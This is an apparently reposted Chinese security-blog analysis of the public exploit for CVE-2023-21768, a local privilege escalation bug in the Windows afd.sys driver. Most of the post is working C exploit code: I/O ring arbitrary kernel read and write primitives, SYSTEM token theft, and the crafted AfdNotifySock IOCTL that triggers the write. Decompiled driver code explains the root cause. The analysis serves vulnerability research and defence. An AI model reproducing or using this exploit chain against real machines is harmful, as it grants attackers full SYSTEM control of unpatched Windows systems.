Windows_AFD_LPE_CVE-2023-21768分析

渗透技巧 1年前 (2023) admin
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Windows_AFD_LPE_CVE-2023-21768分析

本文为看雪论坛优秀文章

看雪论坛作者ID:N1ptune


CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。


本文是对exp代码的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)(https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768



漏洞分析


个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自Yarden Shafir(https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/)。


I/O ring


i/o ring 是Windows 11(22H2)新出现的一种机制,参考ioringapi – Win32 apps | Microsoft Learn(https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/


通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。

HRESULT CreateIoRing(  IORING_VERSION      ioringVersion,  IORING_CREATE_FLAGS flags,  UINT32              submissionQueueSize,  UINT32              completionQueueSize,  HIORING             *h);


submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。


submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。

Windows_AFD_LPE_CVE-2023-21768分析

submission queue entry的结构:

Windows_AFD_LPE_CVE-2023-21768分析

以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。


通过SubmitIoRing函数提交。


正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?


如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。


也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。


创建I/O ring


创建I/O ring对象,再创建两个命名管道用做读写句柄。

创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr){    int ret = -1;    IORING_CREATE_FLAGS ioRingFlags = { 0 };     ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;     ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);     if (0 != ret)    {        goto done;    }     ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);     if (0 != ret)    {        goto done;    }     pIoRing = *ppIoRingAddr;     hInPipe = CreateNamedPipe(L"\\.\pipe\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);    hOutPipe = CreateNamedPipe(L"\\.\pipe\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);     if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))    {        ret = GetLastError();        goto done;    }     hInPipeClient = CreateFile(L"\\.\pipe\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    hOutPipeClient = CreateFile(L"\\.\pipe\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);     if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))    {        ret = GetLastError();        goto done;    }     ret = 0; done:    return ret;}


任意读


首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen){    int ret = -1;    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);    IORING_CQE cqe = { 0 };     pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);     if (NULL == pMcBufferEntry)    {        ret = GetLastError();        goto done;    }     pMcBufferEntry->Address = pReadAddr;    pMcBufferEntry->Length = ulReadLen;    pMcBufferEntry->Type = 0xc02;    pMcBufferEntry->Size = 0x80;    pMcBufferEntry->AccessMode = 1;    pMcBufferEntry->ReferenceCount = 1;     pRegisterBuffers[0] = pMcBufferEntry;     ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);     if (0 != ret)    {        goto done;    }     ret = SubmitIoRing(hIoRing, 0, 0, NULL);     if (0 != ret)    {        goto done;    }     ret = PopIoRingCompletion(hIoRing, &cqe);     if (0 != ret)    {        goto done;    }     if (0 != cqe.ResultCode)    {        ret = cqe.ResultCode;        goto done;    }     if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))    {        ret = GetLastError();        goto done;    }     ret = 0; done:    if (NULL != pMcBufferEntry)    {        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);    }    return ret;}


任意写


先将需要写的数据写入到管道中,在设置好WriteAddr和WriteLen,使用BuildIoRingReadFile将数据写入到WriteAddr处。

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen){    int ret = -1;    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);    IORING_CQE cqe = { 0 };     if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))    {        ret = GetLastError();        goto done;    }     pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);     if (NULL == pMcBufferEntry)    {        ret = GetLastError();        goto done;    }     pMcBufferEntry->Address = pWriteAddr;    pMcBufferEntry->Length = ulWriteLen;    pMcBufferEntry->Type = 0xc02;    pMcBufferEntry->Size = 0x80;    pMcBufferEntry->AccessMode = 1;    pMcBufferEntry->ReferenceCount = 1;     pRegisterBuffers[0] = pMcBufferEntry;     ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);     if (0 != ret)    {        goto done;    }     ret = SubmitIoRing(hIoRing, 0, 0, NULL);     if (0 != ret)    {        goto done;    }     ret = PopIoRingCompletion(hIoRing, &cqe);     if (0 != ret)    {        goto done;    }     if (0 != cqe.ResultCode)    {        ret = cqe.ResultCode;        goto done;    }     ret = 0; done:    if (NULL != pMcBufferEntry)    {        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);    }    return ret;}


I/O ring lpe


找到system进程然后替换token。

int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt){    int ret = -1;    HANDLE hProc = NULL;    ULONG64 ullSystemEPROCaddr = 0;    ULONG64 ullTargEPROCaddr = 0;    PVOID pFakeRegBuffers = NULL;    _HIORING* phIoRing = NULL;    ULONG64 ullSysToken = 0;    char null[0x10] = { 0 };     hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);     if (NULL == hProc)    {        ret = GetLastError();        goto done;    }     ret = getobjptr(&ullSystemEPROCaddr, 4, 4);     if (0 != ret)    {        goto done;    }     printf("[+] System EPROC address: %llxn", ullSystemEPROCaddr);     ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);     if (0 != ret)    {        goto done;    }     printf("[+} Target process EPROC address: %llxn", ullTargEPROCaddr);     pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);     if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)    {        ret = GetLastError();        goto done;    }     memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);     phIoRing = *(_HIORING**)&hIoRing;    phIoRing->RegBufferArray = pFakeRegBuffers;    phIoRing->BufferArraySize = ulFakeRegBufferCnt;     ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));     if (0 != ret)    {        goto done;    }     printf("[+] System token is at: %llxn", ullSysToken);     ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));     if (0 != ret)    {        goto done;    }     ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);     ret = 0; done:    return ret;}


漏洞成因


通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。

Windows_AFD_LPE_CVE-2023-21768分析

这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。


查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数。


在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。


与afd.sys交互参考x86matthew – NTSockets – Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls(https://www.x86matthew.com/view_post?id=ntsockets


查看AfdNotifySock函数。

Windows_AFD_LPE_CVE-2023-21768分析

检测

if ( InputBufferLength != 0x30 || OutputBufferLength )  {    v10 = STATUS_INFO_LENGTH_MISMATCH;    goto LABEL_45;  }if ( !v7->dwCounter )    goto LABEL_5;if ( v7->dwLen ) {    if ( !v7->pPwnPtr || !v7->pData2 )      goto LABEL_5; }else if ( v7->pData2 || v7->dwTimeout )  {LABEL_5:    v10 = STATUS_INVALID_PARAMETER;    goto LABEL_45;  } v11 = v7->hCompletion;Object = 0i64;v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);  if ( v10 >= 0 )  {    v12 = IoIs32bitProcess(0i64);    v13 = 0;    v14 = (unsigned __int64 *)MmUserProbeAddress;    while ( v13 < v7->dwCounter )    {      if ( pre_mode )      {        v24 = 0i64;        v25 = 0i64;        v15 = v13;        v16 = v7->pData1;        if ( v12 )        {          v17 = (unsigned __int64)v16 + 16 * v13;          v31 = v17;          if ( (v17 & 3) != 0 )            ExRaiseDatatypeMisalignment();          if ( v17 + 16 > *v14 || v17 + 16 < v17 )            *(_BYTE *)*v14 = 0;          *(_QWORD *)&v24 = *(unsigned int *)v17;          *((_QWORD *)&v24 + 1) = *(unsigned int *)(v17 + 4);          LOWORD(v25) = *(_WORD *)(v17 + 8);          BYTE2(v25) = *(_BYTE *)(v17 + 10);        }        else        {          v17 = (unsigned __int64)v16 + 24 * v13;          if ( v17 >= *v14 )            v17 = *v14;          v24 = *(_OWORD *)v17;          v25 = *(_QWORD *)(v17 + 16);        }        v18 = &v24;        v27 = &v24;      }      else      {        v15 = v13;        v17 = 3i64 * v13;        v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);        v27 = v18;      }      v19 = a1;      if ( v13 )        v19 = 0i64;      LOBYTE(v17) = pre_mode;      v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);      if ( pre_mode )      {        v21 = (char *)v7->pData1;        v14 = (unsigned __int64 *)MmUserProbeAddress;        if ( v12 )          v22 = &v21[16 * v15 + 12];        else          v22 = &v21[24 * v15 + 20];        if ( (unsigned __int64)v22 >= MmUserProbeAddress )          v22 = (char *)MmUserProbeAddress;        *(_DWORD *)v22 = v20;      }      else      {        *((_DWORD *)v7->pData1 + 6 * v15 + 5) = v20;        v14 = (unsigned __int64 *)MmUserProbeAddress;      }      ++v13;    }    v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);  }


为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。

查看AfdNotifyRemoveIoCompletion函数。

dwLen = a3->dwLen;  if ( !(_DWORD)dwLen )  {LABEL_33:    v8 = 0;    goto LABEL_34;  }  if ( a1 )      ProbeForWrite(a3->pData2, v9, v11);   v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0);    if ( !v8 )    {      if ( v19 )      {        for ( i = 0; i < v20; ++i )        {          v15 = &Pool2[32 * i];          v16 = (char *)a3->pData2 + 16 * i;          *v16 = *(_DWORD *)v15;          v16[1] = *((_DWORD *)v15 + 2);          v16[3] = *((_DWORD *)v15 + 6);          v16[2] = *((_DWORD *)v15 + 4);        }      }      *(_DWORD *)a3->pPwnPtr = v20;      goto LABEL_33;    }


将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。


最后整合到一起就是:

int ArbitraryKernelWrite0x1(void* pPwnPtr){    int ret = -1;    HANDLE hCompletion = INVALID_HANDLE_VALUE;    IO_STATUS_BLOCK IoStatusBlock = { 0 };    HANDLE hSocket = INVALID_HANDLE_VALUE;    UNICODE_STRING ObjectFilePath = { 0 };    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };    AFD_NOTIFYSOCK_DATA Data = { 0 };    HANDLE hEvent = NULL;    HANDLE hThread = NULL;     // Hard-coded attributes for an IPv4 TCP socket    BYTE bExtendedAttributes[] =    {        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE    };     ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);     if (0 != ret)    {        goto done;    }     ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);     if (0 != ret)    {        goto done;    }     ObjectFilePath.Buffer = (PWSTR)L"\Device\Afd\Endpoint";    ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);    ObjectFilePath.MaximumLength = ObjectFilePath.Length;     ObjectAttributes.Length = sizeof(ObjectAttributes);    ObjectAttributes.ObjectName = &ObjectFilePath;    ObjectAttributes.Attributes = 0x40;     ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));     if (0 != ret)    {        goto done;    }     Data.hCompletion = hCompletion;    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);    Data.dwCounter = 0x1;    Data.dwLen = 0x1;    Data.dwTimeout = 100000000;    Data.pPwnPtr = pPwnPtr;     if ((NULL == Data.pData1) || (NULL == Data.pData2))    {        ret = GetLastError();        goto done;    }     hEvent = CreateEvent(NULL, 0, 0, NULL);     if (NULL == hEvent)    {        ret = GetLastError();        goto done;    }     _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);     ret = 0; done:    if (INVALID_HANDLE_VALUE != hCompletion)    {        CloseHandle(hCompletion);    }     if (INVALID_HANDLE_VALUE != hSocket)    {        CloseHandle(hSocket);    }     if (NULL != hEvent)    {        CloseHandle(hEvent);    }     if (NULL != Data.pData1)    {        VirtualFree(Data.pData1, 0, MEM_RELEASE);    }     if (NULL != Data.pData2)    {        VirtualFree(Data.pData2, 0, MEM_RELEASE);    }     return ret;}



参考


Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)

https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/


One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)

https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/


I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)

https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/


x86matthew – NTSockets – Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls

https://www.x86matthew.com/view_post?id=ntsockets




Windows_AFD_LPE_CVE-2023-21768分析


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Windows_AFD_LPE_CVE-2023-21768分析

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